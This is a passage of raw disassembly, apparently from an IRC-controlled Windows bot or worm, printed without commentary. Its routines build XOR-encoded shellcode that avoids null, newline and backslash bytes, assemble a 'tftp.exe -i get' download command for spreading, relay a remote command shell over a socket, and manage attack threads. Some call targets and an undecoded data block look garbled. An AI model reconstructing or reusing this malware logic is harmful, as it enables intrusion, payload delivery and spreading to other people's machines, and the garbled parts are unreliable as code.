cmp cl, 0Ah
jnz short loc_41693D
cmp dl, 0Dh
jz short loc_41693D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41693D: ; CODE XREF: sub_4168E9+44j
; sub_4168E9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_416923
loc_41694D: ; CODE XREF: sub_4168E9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_43F6B8
test eax, eax
jle short loc_41697A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_416912
; ---------------------------------------------------------------------------
loc_41697A: ; CODE XREF: sub_4168E9+2Dj
; sub_4168E9+79j
mov esi, dword_42408C
call esi
cmp eax, 6Dh
jz short loc_416996
call esi
push eax
push offset dword_4393C0
call sub_40BFE1
pop ecx
pop ecx
loc_416996: ; CODE XREF: sub_4168E9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4168E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41699B proc near ; DATA XREF: sub_4165C6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4169B4: ; CODE XREF: sub_41699B+39j
; sub_41699B+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_43F680
test eax, eax
jle loc_416AB9
cmp [ebp+var_10], ebx
jbe short loc_4169D6
dec [ebp+var_10]
jmp short loc_4169B4
; ---------------------------------------------------------------------------
loc_4169D6: ; CODE XREF: sub_41699B+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_416A99
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_416A46
cmp al, 7Fh
jz short loc_416A46
cmp al, 3
jnz short loc_416A01
push ebx
push ebx
nop
call near ptr 27C098Dh
jmp short loc_416A6D
; ---------------------------------------------------------------------------
loc_416A01: ; CODE XREF: sub_41699B+5Aj
cmp al, 15h
jnz short loc_416A23
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_416A59
; ---------------------------------------------------------------------------
loc_416A23: ; CODE XREF: sub_41699B+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_416A5A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_416A59
; ---------------------------------------------------------------------------
loc_416A46: ; CODE XREF: sub_41699B+52j
; sub_41699B+56j
cmp esi, ebx
jbe short loc_416A70
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_416A59: ; CODE XREF: sub_41699B+86j
; sub_41699B+A9j
pop ecx
loc_416A5A: ; CODE XREF: sub_41699B+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_43F6B8
test eax, eax
jle short loc_416AB9
loc_416A6D: ; CODE XREF: sub_41699B+64j
mov al, byte ptr [ebp+arg_0+3]
loc_416A70: ; CODE XREF: sub_41699B+ADj
cmp al, 0Dh
jnz loc_4169B4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 2620000h
test eax, eax
jz short loc_416AB9
xor esi, esi
jmp loc_4169B4
; ---------------------------------------------------------------------------
loc_416A99: ; CODE XREF: sub_41699B+47j
cmp [ebp+var_C], ebx
jnz short loc_416AAA
mov [ebp+var_C], 1
jmp loc_4169B4
; ---------------------------------------------------------------------------
loc_416AAA: ; CODE XREF: sub_41699B+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4169B4
; ---------------------------------------------------------------------------
loc_416AB9: ; CODE XREF: sub_41699B+2Bj
; sub_41699B+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41699B endp
; =============== S U B R O U T I N E =======================================
sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap
; sub_416BB6+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_417AB0
push [esp+8+arg_4]
mov esi, eax
call sub_417AB0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_416ABE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ADE proc near ; CODE XREF: sub_416BCD+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_416ABE
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_416AFB
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_416AFB: ; CODE XREF: sub_416ADE+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_417AB0
push [ebp+arg_C]
mov esi, eax
call sub_417AB0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_4394A0, eax
lea eax, [edi+1]
mov dword_4394C1, eax
lea eax, [edi+17h]
mov dword_4394B9, eax
pop eax
push 74h
sub eax, edi
push offset dword_43943C
push ebx
mov dword_4394CF, eax
call sub_417390
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_417390
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_417390
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_417390
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_417390
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_417390
add esi, edi
push 38h
add esi, ebx
push offset byte_4394C5
push esi
call sub_417390
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416ADE endp
; =============== S U B R O U T I N E =======================================
sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_416ABE
push eax
call sub_416C3A
add esp, 0Ch
retn
sub_416BB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416BCD proc near ; CODE XREF: sub_402B84+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_416BB6
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_416BED
cmp eax, 0FFFFh
jbe short loc_416BF1
loc_416BED: ; CODE XREF: sub_416BCD+17j
xor eax, eax
jmp short loc_416C36
; ---------------------------------------------------------------------------
loc_416BF1: ; CODE XREF: sub_416BCD+1Ej
push esi
push edi
push ebx
call sub_416ABE
add eax, 101h
push eax
call sub_417B89
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_416ABE
pop ecx
pop ecx
push eax
push esi
call sub_416ADE
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416C55
push esi
mov edi, eax
call sub_417C3B
add esp, 24h
mov eax, edi
pop esi
loc_416C36: ; CODE XREF: sub_416BCD+22j
pop edi
pop ebx
pop ebp
retn
sub_416BCD endp
; =============== S U B R O U T I N E =======================================
sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep
; sub_416C55+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_416C43
inc ecx
loc_416C43: ; CODE XREF: sub_416C3A+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_416C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C55 proc near ; CODE XREF: sub_416BCD+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_416C71
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_416C71
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_416C71
cmp byte ptr [ebp+arg_C], 0
jnz short loc_416C74
loc_416C71: ; CODE XREF: sub_416C55+8j
; sub_416C55+Ej ...
inc [ebp+arg_C]
loc_416C74: ; CODE XREF: sub_416C55+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_416C9C
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_416C95
cmp al, 0Dh
jz short loc_416C95
cmp al, 5Ch
jz short loc_416C95
test al, al
jnz short loc_416C9C
loc_416C95: ; CODE XREF: sub_416C55+32j
; sub_416C55+36j ...
add [ebp+arg_C], 100h
loc_416C9C: ; CODE XREF: sub_416C55+28j
; sub_416C55+3Ej
push [ebp+arg_C]
call sub_416C3A
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_416CB4
cmp eax, 0FFFFh
jbe short loc_416CBB
loc_416CB4: ; CODE XREF: sub_416C55+56j
xor eax, eax
jmp loc_416D59
; ---------------------------------------------------------------------------
loc_416CBB: ; CODE XREF: sub_416C55+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_489FE8
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_416CEB
loc_416CCF: ; CODE XREF: sub_416C55+94j
mov al, [edx+edi]
xor al, bl
jz short loc_416CE2
cmp al, 0Ah
jz short loc_416CE2
cmp al, 0Dh
jz short loc_416CE2
cmp al, 5Ch
jnz short loc_416CE6
loc_416CE2: ; CODE XREF: sub_416C55+7Fj
; sub_416C55+83j ...
inc bl
xor edx, edx
loc_416CE6: ; CODE XREF: sub_416C55+8Bj
inc edx
cmp edx, ecx
jb short loc_416CCF
loc_416CEB: ; CODE XREF: sub_416C55+78j
cmp ecx, esi
mov byte_489FE8, bl
ja short loc_416D17
push 15h
push offset loc_439424
push [ebp+arg_0]
mov byte_439431, cl
mov byte_439435, bl
call sub_417390
add esp, 0Ch
push 15h
jmp short loc_416D38
; ---------------------------------------------------------------------------
loc_416D17: ; CODE XREF: sub_416C55+9Ej
push 17h
push offset loc_43940C
push [ebp+arg_0]
mov word_43941A, cx
mov byte_43941F, bl
call sub_417390
add esp, 0Ch
push 17h
loc_416D38: ; CODE XREF: sub_416C55+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_416D54
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_416D46: ; CODE XREF: sub_416C55+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_416D46
loc_416D54: ; CODE XREF: sub_416C55+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_416D59: ; CODE XREF: sub_416C55+61j
pop esi
leave
retn
sub_416C55 endp
; =============== S U B R O U T I N E =======================================
sub_416D5C proc near ; CODE XREF: sub_4060D0+227p
; sub_407252+F0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_444EC0
loc_416D64: ; CODE XREF: sub_416D5C+18j
cmp byte ptr [eax], 0
jz short loc_416D78
add eax, 234h
inc edi
cmp eax, offset dword_489C50
jl short loc_416D64
jmp short loc_416DC3
; ---------------------------------------------------------------------------
loc_416D78: ; CODE XREF: sub_416D5C+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_444EC0[esi]
push eax
call sub_418C10
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_4450C0[esi], eax
and dword_4450C4[esi], 0
mov eax, [esp+8+arg_8]
and dword_4450C8[esi], 0
mov dword_4450CC[esi], eax
and byte_4450D8[esi], 0
pop esi
loc_416DC3: ; CODE XREF: sub_416D5C+1Aj
mov eax, edi
pop edi
retn
sub_416D5C endp
; ---------------------------------------------------------------------------
byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o
dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
dd 26Ch, 6A14C483h, 94D4E800h, 5F90021Ch, 0EC8B555Eh, 200EC81h
dd 57560000h, 75FF006Ah, 95006810h, 75FF0043h, 875FF0Ch
dd 0FF6840E8h, 14C483FFh, 0C0BEFF33h, 8000444Eh, 3C74003Eh
dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh
dd 437E80h, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh
dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h
dd 81470000h, 489C50FEh, 5FB07C00h
; ---------------------------------------------------------------------------
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p
; sub_416F25+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_416F1F
cmp esi, 1F4h
jge short loc_416F1F
imul esi, 234h
push edi
push ebx
push dword_4450D4[esi]
lea edi, dword_4450D4[esi]
call near ptr 27B0A22h
nop
cmp [edi], ebx
jz short loc_416ECF
push 1
pop ebp
loc_416ECF: ; CODE XREF: sub_416E97+33j
mov [edi], ebx
lea edi, dword_4450C8[esi]
mov dword_4450C0[esi], ebx
mov dword_4450C4[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_416EF0
push eax
call sub_415419
pop ecx
loc_416EF0: ; CODE XREF: sub_416E97+50j
mov [edi], ebx
lea edi, dword_4450CC[esi]
mov byte ptr dword_444EC0[esi], bl
mov byte_4450D8[esi], bl
push dword ptr [edi]
call dword_43F700
lea esi, dword_4450D0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43F700
mov [esi], ebx
pop edi
loc_416F1F: ; CODE XREF: sub_416E97+Dj
; sub_416E97+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_416E97 endp
; =============== S U B R O U T I N E =======================================
sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p
; sub_40D3A5+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_444EC0
loc_416F31: ; CODE XREF: sub_416F25+2Aj
cmp byte ptr [esi], 0
jz short loc_416F42
push edi
call sub_416E97
test eax, eax
pop ecx
jz short loc_416F42
inc ebx
loc_416F42: ; CODE XREF: sub_416F25+Fj
; sub_416F25+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_489C50
jl short loc_416F31
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_416F25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp
; sub_40EE72+1EABp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4450C4
loc_416F6B: ; CODE XREF: sub_416F57+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_416F8D
test edi, edi
jle short loc_416F7F
cmp [esi], edi
jz short loc_416F7F
cmp ebx, edi
jnz short loc_416F8D
loc_416F7F: ; CODE XREF: sub_416F57+1Ej
; sub_416F57+22j
push ebx
call sub_416E97
test eax, eax
pop ecx
jz short loc_416F8D
inc [ebp+var_4]
loc_416F8D: ; CODE XREF: sub_416F57+1Aj
; sub_416F57+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_489E54
jl short loc_416F6B
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_416F57 endp
; =============== S U B R O U T I N E =======================================
sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp
; sub_407252+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4450C0
loc_416FAB: ; CODE XREF: sub_416FA4+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_416FB4
inc eax
loc_416FB4: ; CODE XREF: sub_416FA4+Dj
add ecx, 234h
cmp ecx, offset dword_489E50
jl short loc_416FAB
retn
sub_416FA4 endp
; =============== S U B R O U T I N E =======================================
sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_4450C0
loc_416FCD: ; CODE XREF: sub_416FC3+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_416FE6
add ecx, 234h
inc edx
cmp ecx, offset dword_489E50
jl short loc_416FCD
pop esi
retn
; ---------------------------------------------------------------------------
loc_416FE6: ; CODE XREF: sub_416FC3+10j
mov eax, edx
pop esi
retn
sub_416FC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_417003
push [ebp+arg_1C]
call sub_41781F
pop ecx
loc_417003: ; CODE XREF: sub_416FEA+Ej
push eax
push [ebp+arg_18]
call sub_416F57
pop ecx
test eax, eax
pop ecx
jle short loc_41702F
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4172B0
add esp, 14h
jmp short loc_417049
; ---------------------------------------------------------------------------
loc_41702F: ; CODE XREF: sub_416FEA+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4172B0
add esp, 10h
loc_417049: ; CODE XREF: sub_416FEA+43j
cmp [ebp+arg_C], 0
jnz short loc_417069
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_417069: ; CODE XREF: sub_416FEA+63j
lea eax, [ebp+var_200]
push eax
call sub_40BF6D
pop ecx
leave
retn
sub_416FEA endp
; =============== S U B R O U T I N E =======================================
sub_417078 proc near ; CODE XREF: sub_401000+A5p
; sub_40144A+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_4450D4[eax], ecx
mov dword_4450C0[eax], ecx
mov dword_4450C4[eax], ecx
mov dword_4450C8[eax], ecx
mov dword_4450CC[eax], ecx
mov dword_4450D0[eax], ecx
mov byte ptr dword_444EC0[eax], cl
mov byte_4450D8[eax], cl
retn
sub_417078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p
; sub_4171E3+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4170BF: ; CODE XREF: sub_4170B5+68j
mov cl, [esi]
test cl, cl
jz short loc_41711F
cmp eax, 1
jnz short loc_41711F
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41711F
cmp cl, 2Ah
jz short loc_417106
cmp cl, 3Fh
jz short loc_4170E9
cmp cl, 5Bh
jz short loc_4170EE
xor eax, eax
cmp cl, dl
setz al
loc_4170E9: ; CODE XREF: sub_4170B5+26j
inc [ebp+arg_4]
jmp short loc_417119
; ---------------------------------------------------------------------------
loc_4170EE: ; CODE XREF: sub_4170B5+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_41714B
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417119
; ---------------------------------------------------------------------------
loc_417106: ; CODE XREF: sub_4170B5+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4171E3
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_417119: ; CODE XREF: sub_4170B5+37j
; sub_4170B5+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4170BF
; ---------------------------------------------------------------------------
loc_41711F: ; CODE XREF: sub_4170B5+Ej
; sub_4170B5+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41712F
cmp eax, 1
jnz short loc_417146
inc esi
mov [ebp+arg_0], esi
jmp short loc_41711F
; ---------------------------------------------------------------------------
loc_41712F: ; CODE XREF: sub_4170B5+6Dj
cmp eax, 1
jnz short loc_417146
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_417146
cmp byte ptr [esi], 0
jnz short loc_417146
push 1
pop eax
jmp short loc_417148
; ---------------------------------------------------------------------------
loc_417146: ; CODE XREF: sub_4170B5+72j
; sub_4170B5+7Dj ...
xor eax, eax
loc_417148: ; CODE XREF: sub_4170B5+8Fj
pop esi
pop ebp
retn
sub_4170B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41714B proc near ; CODE XREF: sub_4170B5+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_41716C
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_41716C: ; CODE XREF: sub_41714B+19j
push ebx
push esi
loc_41716E: ; CODE XREF: sub_41714B+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_41717C
cmp [ebp+var_4], eax
jnz short loc_4171C8
loc_41717C: ; CODE XREF: sub_41714B+2Aj
test edi, edi
jnz short loc_4171BD
cmp bl, 2Dh
jnz short loc_4171B1
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4171B1
cmp al, 5Dh
jz short loc_4171B1
cmp [ebp+var_4], edi
jnz short loc_4171B1
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4171BD
cmp bl, al
jg short loc_4171BD
push 1
mov [edx], esi
pop edi
jmp short loc_4171BD
; ---------------------------------------------------------------------------
loc_4171B1: ; CODE XREF: sub_41714B+38j
; sub_41714B+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4171BD
push 1
pop edi
loc_4171BD: ; CODE XREF: sub_41714B+33j
; sub_41714B+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41716E
; ---------------------------------------------------------------------------
loc_4171C8: ; CODE XREF: sub_41714B+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4171D5
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4171D5: ; CODE XREF: sub_41714B+82j
cmp edi, eax
jnz short loc_4171DE
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4171DE: ; CODE XREF: sub_41714B+8Cj
mov eax, edi
pop edi
leave
retn
sub_41714B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171E3 proc near ; CODE XREF: sub_4170B5+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4171FF: ; CODE XREF: sub_4171E3+3Aj
cmp [eax], bl
jz short loc_41721F
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_417214
cmp cl, 2Ah
jnz short loc_41721F
cmp cl, 3Fh
jnz short loc_417217
loc_417214: ; CODE XREF: sub_4171E3+25j
inc eax
mov [edi], eax
loc_417217: ; CODE XREF: sub_4171E3+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4171FF
; ---------------------------------------------------------------------------
loc_41721F: ; CODE XREF: sub_4171E3+1Ej
; sub_4171E3+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_41722A
inc dword ptr [esi]
jmp short loc_41721F
; ---------------------------------------------------------------------------
loc_41722A: ; CODE XREF: sub_4171E3+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_41724B
mov edx, [esi]
cmp [edx], bl
jz short loc_41723C
xor eax, eax
jmp short loc_4172AB
; ---------------------------------------------------------------------------
loc_41723C: ; CODE XREF: sub_4171E3+53j
cmp cl, bl
jnz short loc_41724B
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_41724B
push 1
pop eax
jmp short loc_4172AB
; ---------------------------------------------------------------------------
loc_41724B: ; CODE XREF: sub_4171E3+4Dj
; sub_4171E3+5Bj ...
push eax
push dword ptr [esi]
call sub_4170B5
pop ecx
test eax, eax
pop ecx
jnz short loc_417295
loc_417259: ; CODE XREF: sub_4171E3+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_41725D: ; CODE XREF: sub_4171E3+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_417275
cmp cl, 5Bh
jz short loc_417275
cmp dl, bl
jz short loc_417275
inc eax
mov [edi], eax
jmp short loc_41725D
; ---------------------------------------------------------------------------
loc_417275: ; CODE XREF: sub_4171E3+82j
; sub_4171E3+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_41728C
push eax
push dword ptr [esi]
call sub_4170B5
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_417291
; ---------------------------------------------------------------------------
loc_41728C: ; CODE XREF: sub_4171E3+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_417291: ; CODE XREF: sub_4171E3+A7j
cmp eax, ebx
jnz short loc_417259
loc_417295: ; CODE XREF: sub_4171E3+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4172A8
mov eax, [esi]
cmp [eax], bl
jnz short loc_4172A8
mov [ebp+var_4], 1
loc_4172A8: ; CODE XREF: sub_4171E3+B6j
; sub_4171E3+BCj
mov eax, [ebp+var_4]
loc_4172AB: ; CODE XREF: sub_4171E3+57j
; sub_4171E3+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4171E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172B0 proc near ; CODE XREF: sub_401000+64p
; sub_4010B5+308p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_419E38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4172F0
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4172FD
; ---------------------------------------------------------------------------
loc_4172F0: ; CODE XREF: sub_4172B0+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419D23
pop ecx
pop ecx
loc_4172FD: ; CODE XREF: sub_4172B0+3Ej
mov eax, esi
pop esi
leave
retn
sub_4172B0 endp
; =============== S U B R O U T I N E =======================================
sub_417302 proc near ; CODE XREF: sub_401000+2Ep
; sub_401D82+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_439550, eax
retn
sub_417302 endp
; =============== S U B R O U T I N E =======================================
sub_41730C proc near ; CODE XREF: sub_4010B5+CBp
; sub_4010B5+13Fp ...
mov eax, dword_439550
imul eax, 343FDh
add eax, 269EC3h
